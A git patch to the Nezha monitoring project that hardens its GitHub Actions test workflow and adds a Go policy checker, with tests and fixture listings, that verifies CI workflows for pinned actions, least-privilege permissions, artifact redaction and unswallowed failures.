From d96b34b0d4b54969ea58673078eea1fdc2ced4b8 Mon Sep 17 00:00:00 2001 From: naiba Date: Mon, 20 Jul 2026 04:55:20 +0000 Subject: [PATCH] ci: require agentcompat stress validation Co-authored-by: naiba/CloudCode --- .github/workflows/test.yml | 132 ++++++-- .../workflowpolicy/adversarial_policy_test.go | 28 ++ .../agent_quality_workflow_test.go | 102 ++++++ .../agent_stress_workflow_test.go | 69 ++++ .../internal/workflowpolicy/artifact.go | 54 ++++ .../internal/workflowpolicy/checkout.go | 72 +++++ .../internal/workflowpolicy/execution.go | 207 ++++++++++++ .../internal/workflowpolicy/execution_test.go | 232 ++++++++++++++ .../internal/workflowpolicy/nodes.go | 81 +++++ .../internal/workflowpolicy/parse.go | 60 ++++ .../internal/workflowpolicy/policy_test.go | 296 ++++++++++++++++++ .../workflowpolicy/quality_workflow_test.go | 212 +++++++++++++ .../workflowpolicy/required_aggregator.go | 86 +++++ .../required_aggregator_test.go | 103 ++++++ .../internal/workflowpolicy/resolver.go | 62 ++++ .../internal/workflowpolicy/runner.go | 92 ++++++ .../workflowpolicy/stress_workflow_test.go | 56 ++++ .../testdata/absolute-docker.yml | 11 + .../testdata/aggregate-secret-context.yml | 13 + .../testdata/alternate-absolute-docker.yml | 11 + .../testdata/and-if-condition-failure.yml | 14 + .../testdata/artifact-without-redaction.yml | 14 + .../workflowpolicy/testdata/bare-anchor.yml | 13 + .../workflowpolicy/testdata/boolean-uses.yml | 11 + .../workflowpolicy/testdata/cache.yml | 14 + .../command-option-git-repository.yml | 11 + .../testdata/composed-custom-runner.yml | 14 + .../testdata/conditional-redaction.yml | 18 ++ .../testdata/container-runtime-alias.yml | 11 + .../workflowpolicy/testdata/container.yml | 12 + .../testdata/continue-on-error.yml | 12 + .../workflowpolicy/testdata/custom-runner.yml | 11 + .../workflowpolicy/testdata/docker.yml | 11 + .../testdata/download-artifact.yml | 11 + .../testdata/duplicate-jobs.yml | 17 + .../testdata/dynamic-git-repository.yml | 11 + .../dynamic-indexed-untrusted-expression.yml | 11 + .../testdata/empty-concurrency.yml | 11 + .../workflowpolicy/testdata/empty-run.yml | 11 + .../workflowpolicy/testdata/empty-step.yml | 11 + .../workflowpolicy/testdata/empty-uses.yml | 11 + .../testdata/environment-git-repository.yml | 11 + .../testdata/external-git-repository.yml | 11 + .../testdata/git-config-environment.yml | 15 + .../testdata/git-config-mutation.yml | 11 + .../testdata/git-global-option-repository.yml | 11 + .../testdata/git-url-mutation.yml | 11 + .../github-environment-git-config.yml | 13 + .../testdata/github-token-environment.yml | 13 + .../workflowpolicy/testdata/github-token.yml | 11 + .../testdata/id-token-write.yml | 12 + .../testdata/if-condition-failure.yml | 14 + .../testdata/if-not-failure.yml | 14 + .../testdata/indexed-untrusted-expression.yml | 11 + .../workflowpolicy/testdata/local-action.yml | 11 + .../workflowpolicy/testdata/malformed.yml | 4 + .../testdata/mapping-permission-value.yml | 12 + .../testdata/matrix-include-runner.yml | 16 + .../testdata/matrix-self-hosted.yml | 14 + .../testdata/missing-concurrency.yml | 10 + .../workflowpolicy/testdata/missing-jobs.yml | 5 + .../testdata/missing-persist-credentials.yml | 11 + .../testdata/missing-required-aggregator.yml | 17 + .../testdata/missing-required-dependency.yml | 43 +++ .../testdata/missing-root-permissions.yml | 9 + .../testdata/missing-timeout.yml | 10 + .../testdata/mixed-artifact-paths.yml | 17 + .../testdata/mutable-action-ref.yml | 13 + .../testdata/mutable-other-repository-ref.yml | 15 + .../workflowpolicy/testdata/nested-shell.yml | 11 + .../testdata/no-op-redaction.yml | 15 + .../nonboolean-concurrency-cancel.yml | 13 + .../testdata/nonliteral-action.yml | 11 + .../testdata/nonliteral-repository.yml | 15 + .../testdata/nonmapping-step.yml | 11 + .../testdata/nonmapping-uses.yml | 12 + .../testdata/nonsequence-steps.yml | 11 + .../workflowpolicy/testdata/nonstring-run.yml | 12 + .../testdata/numeric-timeout.yml | 13 + .../testdata/or-echo-failure.yml | 11 + .../testdata/or-exit-zero-failure.yml | 11 + .../testdata/or-printf-failure.yml | 11 + .../testdata/permissions-sequence.yml | 10 + .../testdata/persist-credentials-true.yml | 13 + .../testdata/prefixed-git-repository.yml | 11 + .../testdata/pull-request-target.yml | 11 + .../workflowpolicy/testdata/quality-only.yml | 12 + .../quoted-false-security-controls.yml | 13 + .../testdata/raw-after-redaction.yml | 19 ++ .../testdata/redaction-command-append.yml | 20 ++ .../relative-workspace-executable.yml | 11 + .../testdata/resolver-variable-override.yml | 25 ++ .../testdata/reusable-workflow-job.yml | 8 + .../testdata/secret-context.yml | 13 + .../workflowpolicy/testdata/secure-agent.yml | 21 ++ .../workflowpolicy/testdata/secure-nezha.yml | 40 +++ .../testdata/secure-resolved-ref.yml | 27 ++ .../workflowpolicy/testdata/self-hosted.yml | 11 + .../workflowpolicy/testdata/services.yml | 14 + .../testdata/set-plus-e-semicolon.yml | 11 + .../testdata/set-plus-o-errexit.yml | 13 + .../testdata/setup-go-default-cache.yml | 13 + .../testdata/swallowed-failure.yml | 11 + .../testdata/swallowed-semicolon-colon.yml | 11 + .../testdata/swallowed-semicolon-true.yml | 11 + .../testdata/swallowed-trap-exit.yml | 11 + .../testdata/trailing-empty-document.yml | 12 + .../testdata/unapproved-action.yml | 11 + .../testdata/unapproved-git-repository.yml | 11 + .../testdata/unapproved-repository.yml | 15 + .../testdata/unredacted-artifact-path.yml | 16 + .../testdata/untrusted-run-expression.yml | 11 + .../testdata/unvalidated-resolved-ref.yml | 18 ++ .../workflowpolicy/testdata/workflow-run.yml | 13 + .../testdata/workspace-executable.yml | 11 + .../testdata/write-permission.yml | 11 + .../workflowpolicy/testdata/yaml-alias.yml | 14 + .../internal/workflowpolicy/types.go | 114 +++++++ .../internal/workflowpolicy/verify.go | 197 ++++++++++++ 119 files changed, 3552 insertions(+), 23 deletions(-) create mode 100644 integration/agentcompat/internal/workflowpolicy/adversarial_policy_test.go create mode 100644 integration/agentcompat/internal/workflowpolicy/agent_quality_workflow_test.go create mode 100644 integration/agentcompat/internal/workflowpolicy/agent_stress_workflow_test.go create mode 100644 integration/agentcompat/internal/workflowpolicy/artifact.go create mode 100644 integration/agentcompat/internal/workflowpolicy/checkout.go create mode 100644 integration/agentcompat/internal/workflowpolicy/execution.go create mode 100644 integration/agentcompat/internal/workflowpolicy/execution_test.go create mode 100644 integration/agentcompat/internal/workflowpolicy/nodes.go create mode 100644 integration/agentcompat/internal/workflowpolicy/parse.go create mode 100644 integration/agentcompat/internal/workflowpolicy/policy_test.go create mode 100644 integration/agentcompat/internal/workflowpolicy/quality_workflow_test.go create mode 100644 integration/agentcompat/internal/workflowpolicy/required_aggregator.go create mode 100644 integration/agentcompat/internal/workflowpolicy/required_aggregator_test.go create mode 100644 integration/agentcompat/internal/workflowpolicy/resolver.go create mode 100644 integration/agentcompat/internal/workflowpolicy/runner.go create mode 100644 integration/agentcompat/internal/workflowpolicy/stress_workflow_test.go create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/absolute-docker.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/aggregate-secret-context.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/alternate-absolute-docker.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/and-if-condition-failure.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/artifact-without-redaction.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/bare-anchor.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/boolean-uses.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/cache.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/command-option-git-repository.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/composed-custom-runner.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/conditional-redaction.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/container-runtime-alias.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/container.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/continue-on-error.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/custom-runner.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/docker.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/download-artifact.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/duplicate-jobs.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/dynamic-git-repository.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/dynamic-indexed-untrusted-expression.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/empty-concurrency.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/empty-run.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/empty-step.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/empty-uses.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/environment-git-repository.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/external-git-repository.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/git-config-environment.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/git-config-mutation.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/git-global-option-repository.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/git-url-mutation.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/github-environment-git-config.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/github-token-environment.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/github-token.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/id-token-write.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/if-condition-failure.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/if-not-failure.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/indexed-untrusted-expression.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/local-action.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/malformed.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/mapping-permission-value.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/matrix-include-runner.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/matrix-self-hosted.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/missing-concurrency.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/missing-jobs.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/missing-persist-credentials.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/missing-required-aggregator.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/missing-required-dependency.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/missing-root-permissions.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/missing-timeout.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/mixed-artifact-paths.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/mutable-action-ref.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/mutable-other-repository-ref.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/nested-shell.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/no-op-redaction.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/nonboolean-concurrency-cancel.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/nonliteral-action.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/nonliteral-repository.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/nonmapping-step.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/nonmapping-uses.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/nonsequence-steps.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/nonstring-run.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/numeric-timeout.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/or-echo-failure.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/or-exit-zero-failure.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/or-printf-failure.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/permissions-sequence.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/persist-credentials-true.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/prefixed-git-repository.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/pull-request-target.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/quality-only.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/quoted-false-security-controls.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/raw-after-redaction.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/redaction-command-append.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/relative-workspace-executable.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/resolver-variable-override.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/reusable-workflow-job.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/secret-context.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/secure-agent.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/secure-nezha.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/secure-resolved-ref.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/self-hosted.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/services.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/set-plus-e-semicolon.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/set-plus-o-errexit.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/setup-go-default-cache.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/swallowed-failure.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/swallowed-semicolon-colon.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/swallowed-semicolon-true.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/swallowed-trap-exit.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/trailing-empty-document.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/unapproved-action.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/unapproved-git-repository.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/unapproved-repository.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/unredacted-artifact-path.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/untrusted-run-expression.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/unvalidated-resolved-ref.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/workflow-run.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/workspace-executable.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/write-permission.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/testdata/yaml-alias.yml create mode 100644 integration/agentcompat/internal/workflowpolicy/types.go create mode 100644 integration/agentcompat/internal/workflowpolicy/verify.go diff --git a/.github/workflows/test.yml b/.github/workflows/test.yml index 0dba55c9..21ec8a66 100644 --- a/.github/workflows/test.yml +++ b/.github/workflows/test.yml @@ -2,51 +2,137 @@ name: Run Tests on: push: - paths: - - "**.go" - - "go.mod" - - "go.sum" - - "resource/**" - - ".github/workflows/test.yml" + branches: + - master pull_request: branches: - master + merge_group: + +permissions: + contents: read + +concurrency: + group: nezha-quality-${{ github.workflow }}-${{ github.ref }} + cancel-in-progress: true jobs: tests: + name: Ordinary tests and build (${{ matrix.os }}) strategy: - fail-fast: true + fail-fast: false matrix: - os: [ubuntu, windows, macos] - - runs-on: ${{ matrix.os }}-latest - env: - GO111MODULE: on + os: [ubuntu-latest, windows-latest, macos-latest] + runs-on: ${{ matrix.os }} + timeout-minutes: 30 steps: - - uses: actions/checkout@v7 - - - uses: actions/setup-go@v6 + - uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0 + with: + persist-credentials: false + - uses: actions/setup-go@924ae3a1cded613372ab5595356fb5720e22ba16 with: go-version: "1.26.x" + cache: false - - name: generate swagger docs + - name: Generate Swagger docs run: | - go install github.com/swaggo/swag/cmd/swag@latest + go install github.com/swaggo/swag/cmd/swag@v1.16.6 touch ./cmd/dashboard/user-dist/a touch ./cmd/dashboard/admin-dist/a swag init --pd -d cmd/dashboard -g main.go -o cmd/dashboard/docs - name: Unit test - run: | - go test -v ./... + run: go test -mod=readonly -count=1 ./... - - name: Build test + - name: Build dashboard run: go build -v ./cmd/dashboard + linux-race-quality: + name: Linux race and quality + runs-on: ubuntu-24.04 + timeout-minutes: 45 + steps: + - uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0 + with: + persist-credentials: false + - uses: actions/setup-go@924ae3a1cded613372ab5595356fb5720e22ba16 + with: + go-version: "1.26.x" + cache: false + + - name: Generate Swagger docs + run: | + go install github.com/swaggo/swag/cmd/swag@v1.16.6 + touch ./cmd/dashboard/user-dist/a + touch ./cmd/dashboard/admin-dist/a + swag init --pd -d cmd/dashboard -g main.go -o cmd/dashboard/docs + + - name: Race and shuffle tests + run: go test -mod=readonly -race -shuffle=on -count=1 ./... + + - name: Vet + run: go vet ./... + + - name: Check formatting + shell: bash + run: test -z "$(git ls-files -co --exclude-standard '*.go' -z | xargs -0 gofmt -l)" + + - name: Build dashboard + run: go build ./cmd/dashboard + - name: Run Gosec Security Scanner - if: runner.os == 'Linux' - uses: securego/gosec@master + shell: bash env: GOTOOLCHAIN: auto + run: | + go install github.com/securego/gosec/v2/cmd/gosec@v2.27.1 + gosec --exclude=G104,G115,G117,G203,G402,G703,G704 ./... + + agentcompat-stress: + name: Linux agent compatibility stress + runs-on: ubuntu-24.04 + timeout-minutes: 75 + steps: + - name: Checkout Nezha revision + uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0 with: - args: --exclude=G104,G115,G117,G203,G402,G703,G704 ./... + path: nezha + persist-credentials: false + - name: Checkout pinned Agent revision + uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0 + with: + repository: nezhahq/agent + ref: 667e1dd5e166ffef808ec26dc20de85bc33a0a0f + path: agent + persist-credentials: false + - name: Set up Go + uses: actions/setup-go@924ae3a1cded613372ab5595356fb5720e22ba16 + with: + go-version: "1.26.x" + cache: false + - name: Require named stress test + working-directory: nezha + run: go test -mod=readonly -tags=agentcompat -list '^TestStressPRFullEightAgentExactlyOnce$' ./integration/agentcompat/internal/scenario | grep -Fx 'TestStressPRFullEightAgentExactlyOnce' + - name: Run PR-full agent compatibility stress + working-directory: nezha + env: + AGENTCOMPAT_NEZHA_SOURCE: ${{ github.workspace }}/nezha + AGENTCOMPAT_AGENT_SOURCE: ${{ github.workspace }}/agent + run: go test -mod=readonly -tags=agentcompat -run '^TestStressPRFullEightAgentExactlyOnce$' -count=1 -v ./integration/agentcompat/internal/scenario + + nezha-quality-required: + name: nezha-quality-required + if: ${{ always() }} + needs: + - tests + - linux-race-quality + - agentcompat-stress + runs-on: ubuntu-24.04 + timeout-minutes: 5 + steps: + - name: Require all blocking jobs to pass + shell: bash + run: | + test "${{ needs.tests.result }}" = success + test "${{ needs.linux-race-quality.result }}" = success + test "${{ needs.agentcompat-stress.result }}" = success diff --git a/integration/agentcompat/internal/workflowpolicy/adversarial_policy_test.go b/integration/agentcompat/internal/workflowpolicy/adversarial_policy_test.go new file mode 100644 index 00000000..30824a4f --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/adversarial_policy_test.go @@ -0,0 +1,28 @@ +package workflowpolicy_test + +import ( + "testing" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/workflowpolicy" +) + +func TestPolicy_RejectsAdversarialExecutionForms(t *testing.T) { + tests := []struct { + fixture string + rule workflowpolicy.Rule + diagnostic string + }{ + {fixture: "swallowed-semicolon-true.yml", rule: workflowpolicy.RuleSwallowedFailure, diagnostic: "failure"}, + {fixture: "swallowed-semicolon-colon.yml", rule: workflowpolicy.RuleSwallowedFailure, diagnostic: "failure"}, + {fixture: "swallowed-trap-exit.yml", rule: workflowpolicy.RuleSwallowedFailure, diagnostic: "failure"}, + {fixture: "git-config-mutation.yml", rule: workflowpolicy.RuleRepositoryNotLiteral, diagnostic: "Git configuration"}, + {fixture: "git-url-mutation.yml", rule: workflowpolicy.RuleRepositoryNotLiteral, diagnostic: "Git configuration"}, + {fixture: "relative-workspace-executable.yml", rule: workflowpolicy.RuleReusableExecutable, diagnostic: "workspace"}, + {fixture: "container-runtime-alias.yml", rule: workflowpolicy.RuleContainerizedExecution, diagnostic: "container"}, + } + for _, test := range tests { + t.Run(test.fixture, func(t *testing.T) { + assertFixtureRejected(t, rejected(test.fixture, test.rule, test.diagnostic)) + }) + } +} diff --git a/integration/agentcompat/internal/workflowpolicy/agent_quality_workflow_test.go b/integration/agentcompat/internal/workflowpolicy/agent_quality_workflow_test.go new file mode 100644 index 00000000..5e2b9aa2 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/agent_quality_workflow_test.go @@ -0,0 +1,102 @@ +//go:build agentcompat + +package workflowpolicy_test + +import ( + "os" + "path/filepath" + "testing" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/workflowpolicy" + "github.com/stretchr/testify/require" + "gopkg.in/yaml.v3" +) + +type agentQualityWorkflow struct { + Triggers map[string]agentQualityTrigger `yaml:"on"` + Jobs map[string]agentQualityJob `yaml:"jobs"` +} + +type agentQualityTrigger struct { + Branches []string `yaml:"branches"` + Paths []string `yaml:"paths"` + PathsIgnore []string `yaml:"paths-ignore"` +} + +type agentQualityJob struct { + Name string `yaml:"name"` + Needs []string `yaml:"needs"` + Condition string `yaml:"if"` + Runner string `yaml:"runs-on"` + Strategy agentQualityStrategy `yaml:"strategy"` + Steps []agentQualityStep `yaml:"steps"` +} + +type agentQualityStrategy struct { + Matrix agentQualityMatrix `yaml:"matrix"` +} + +type agentQualityMatrix struct { + OperatingSystems []string `yaml:"os"` +} + +type agentQualityStep struct { + Run string `yaml:"run"` +} + +func TestPolicy_AgentQualityWorkflow(t *testing.T) { + // Given + path := filepath.Join("..", "..", "..", "..", "..", "agent", ".github", "workflows", "test.yml") + data, err := os.ReadFile(path) + require.NoError(t, err) + require.NoError(t, workflowpolicy.Verify(data, workflowpolicy.RepositoryAgent)) + var workflow agentQualityWorkflow + require.NoError(t, yaml.Unmarshal(data, &workflow)) + + // When + ordinaryJob, hasOrdinaryJob := workflow.Jobs["tests"] + qualityJob, hasQualityJob := workflow.Jobs["linux-race-quality"] + stressJob, hasStressJob := workflow.Jobs["agentcompat-stress"] + aggregator, hasAggregator := workflow.Jobs["agent-quality-required"] + + // Then + require.True(t, hasOrdinaryJob) + require.True(t, hasQualityJob) + require.True(t, hasStressJob) + require.True(t, hasAggregator) + require.Len(t, workflow.Jobs, 4) + require.Equal(t, []string{"main"}, workflow.Triggers["push"].Branches) + require.Equal(t, []string{"main"}, workflow.Triggers["pull_request"].Branches) + require.Contains(t, workflow.Triggers, "merge_group") + for _, trigger := range workflow.Triggers { + require.Empty(t, trigger.Paths) + require.Empty(t, trigger.PathsIgnore) + } + require.ElementsMatch(t, []string{"ubuntu-latest", "windows-latest", "macos-latest"}, ordinaryJob.Strategy.Matrix.OperatingSystems) + requireWorkflowCommands(t, ordinaryJob.Steps, "go test -mod=readonly -count=1 ./...") + require.Equal(t, "ubuntu-24.04", qualityJob.Runner) + requireWorkflowCommands(t, qualityJob.Steps, + "go test -mod=readonly -race -shuffle=on -count=1 ./...", + "go vet ./...", + "test -z \"$(git ls-files -co --exclude-standard '*.go' -z | xargs -0 gofmt -l)\"", + "go build ./cmd/agent", + ) + require.NotEmpty(t, stressJob) + require.ElementsMatch(t, []string{"tests", "linux-race-quality", "agentcompat-stress"}, aggregator.Needs) + require.Equal(t, "agent-quality-required", aggregator.Name) + require.Equal(t, "${{ always() }}", aggregator.Condition) + requireWorkflowCommands(t, aggregator.Steps, + "test \"${{ needs.tests.result }}\" = success\ntest \"${{ needs.linux-race-quality.result }}\" = success\ntest \"${{ needs.agentcompat-stress.result }}\" = success\n", + ) +} + +func requireWorkflowCommands(t *testing.T, steps []agentQualityStep, commands ...string) { + t.Helper() + actualCommands := make([]string, 0, len(steps)) + for _, step := range steps { + if step.Run != "" { + actualCommands = append(actualCommands, step.Run) + } + } + require.ElementsMatch(t, commands, actualCommands) +} diff --git a/integration/agentcompat/internal/workflowpolicy/agent_stress_workflow_test.go b/integration/agentcompat/internal/workflowpolicy/agent_stress_workflow_test.go new file mode 100644 index 00000000..e36c0980 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/agent_stress_workflow_test.go @@ -0,0 +1,69 @@ +//go:build agentcompat + +package workflowpolicy_test + +import ( + "os" + "path/filepath" + "regexp" + "testing" + + "github.com/stretchr/testify/require" + "gopkg.in/yaml.v3" +) + +const agentWorkflowStressTestName = "TestStressPRFullEightAgentExactlyOnce" + +var fullCommitSHA = regexp.MustCompile(`^[0-9a-f]{40}$`) + +func TestPolicy_AgentStressWorkflowRunsPinnedCrossRepositoryTest(t *testing.T) { + // Given + path := filepath.Join("..", "..", "..", "..", "..", "agent", ".github", "workflows", "test.yml") + data, err := os.ReadFile(path) + require.NoError(t, err) + var workflow qualityWorkflow + require.NoError(t, yaml.Unmarshal(data, &workflow)) + + // When + stressJob, exists := workflow.Jobs["agentcompat-stress"] + + // Then + require.True(t, exists) + require.Equal(t, "Linux agent compatibility stress", stressJob.Name) + require.Equal(t, "ubuntu-24.04", stressJob.RunsOn) + require.Equal(t, 75, stressJob.TimeoutMinutes) + require.Len(t, stressJob.Steps, 6) + + agentCheckout := stressJob.stepNamed(t, "Checkout Agent revision") + require.Equal(t, "actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0", agentCheckout.Uses) + require.Empty(t, agentCheckout.With.Repository) + require.Empty(t, agentCheckout.With.Ref) + require.Equal(t, "agent", agentCheckout.With.Path) + require.False(t, *agentCheckout.With.PersistCredentials) + + nezhaCheckout := stressJob.stepNamed(t, "Checkout pinned Nezha revision") + require.Equal(t, "actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0", nezhaCheckout.Uses) + require.Equal(t, "nezhahq/nezha", nezhaCheckout.With.Repository) + require.Regexp(t, fullCommitSHA, nezhaCheckout.With.Ref) + require.Equal(t, "nezha", nezhaCheckout.With.Path) + require.False(t, *nezhaCheckout.With.PersistCredentials) + + setupGo := stressJob.stepNamed(t, "Set up Go") + require.Equal(t, "actions/setup-go@924ae3a1cded613372ab5595356fb5720e22ba16", setupGo.Uses) + require.Equal(t, "^1.26.1", setupGo.With.GoVersion) + require.False(t, *setupGo.With.Cache) + + policyStep := stressJob.stepNamed(t, "Require Agent workflow policy tests") + require.Equal(t, "nezha", policyStep.WorkingDirectory) + require.Equal(t, "go test -mod=readonly -tags=agentcompat -list '^TestPolicy_AgentQualityWorkflow$' ./integration/agentcompat/internal/workflowpolicy | grep -Fx 'TestPolicy_AgentQualityWorkflow'\ngo test -mod=readonly -tags=agentcompat -list '^TestPolicy_AgentStressWorkflowRunsPinnedCrossRepositoryTest$' ./integration/agentcompat/internal/workflowpolicy | grep -Fx 'TestPolicy_AgentStressWorkflowRunsPinnedCrossRepositoryTest'\ngo test -mod=readonly -tags=agentcompat -run '^(TestPolicy_AgentQualityWorkflow|TestPolicy_AgentStressWorkflowRunsPinnedCrossRepositoryTest)$' -count=1 ./integration/agentcompat/internal/workflowpolicy\n", policyStep.Run) + + listStep := stressJob.stepNamed(t, "Require named stress test") + require.Equal(t, "nezha", listStep.WorkingDirectory) + require.Equal(t, "go test -mod=readonly -tags=agentcompat -list '^"+agentWorkflowStressTestName+"$' ./integration/agentcompat/internal/scenario | grep -Fx '"+agentWorkflowStressTestName+"'", listStep.Run) + + runStep := stressJob.stepNamed(t, "Run PR-full agent compatibility stress") + require.Equal(t, "nezha", runStep.WorkingDirectory) + require.Equal(t, "${{ github.workspace }}/nezha", runStep.Env.AgentcompatNezhaSource) + require.Equal(t, "${{ github.workspace }}/agent", runStep.Env.AgentcompatAgentSource) + require.Equal(t, "go test -mod=readonly -tags=agentcompat -run '^"+agentWorkflowStressTestName+"$' -count=1 -v ./integration/agentcompat/internal/scenario", runStep.Run) +} diff --git a/integration/agentcompat/internal/workflowpolicy/artifact.go b/integration/agentcompat/internal/workflowpolicy/artifact.go new file mode 100644 index 00000000..ce93ccd7 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/artifact.go @@ -0,0 +1,54 @@ +package workflowpolicy + +import ( + "strings" + + "gopkg.in/yaml.v3" +) + +const redactedArtifactPath = "${{ runner.temp }}/nezha-agentcompat-redacted" +const redactionCommand = `go run ./integration/agentcompat/cmd/redact --output "$RUNNER_TEMP/nezha-agentcompat-redacted"` + +func (c *checker) isRedactionStep(step *yaml.Node) bool { + run, hasRun := mappingValue(step, "run") + if !hasRun || run.Kind != yaml.ScalarNode { + return false + } + if strings.TrimSpace(run.Value) != redactionCommand { + return false + } + condition, hasCondition := mappingValue(step, "if") + if !hasCondition || strings.TrimSpace(condition.Value) != "always()" { + return false + } + for _, key := range []string{"name", "id"} { + value, exists := mappingValue(step, key) + if exists && strings.Contains(strings.ToLower(value.Value), "redact") { + return true + } + } + return false +} + +func (c *checker) checkArtifactUpload(path string, step *yaml.Node, redactionComplete bool) { + if !redactionComplete { + c.reject(RuleArtifactRedaction, at(path+".uses", step), 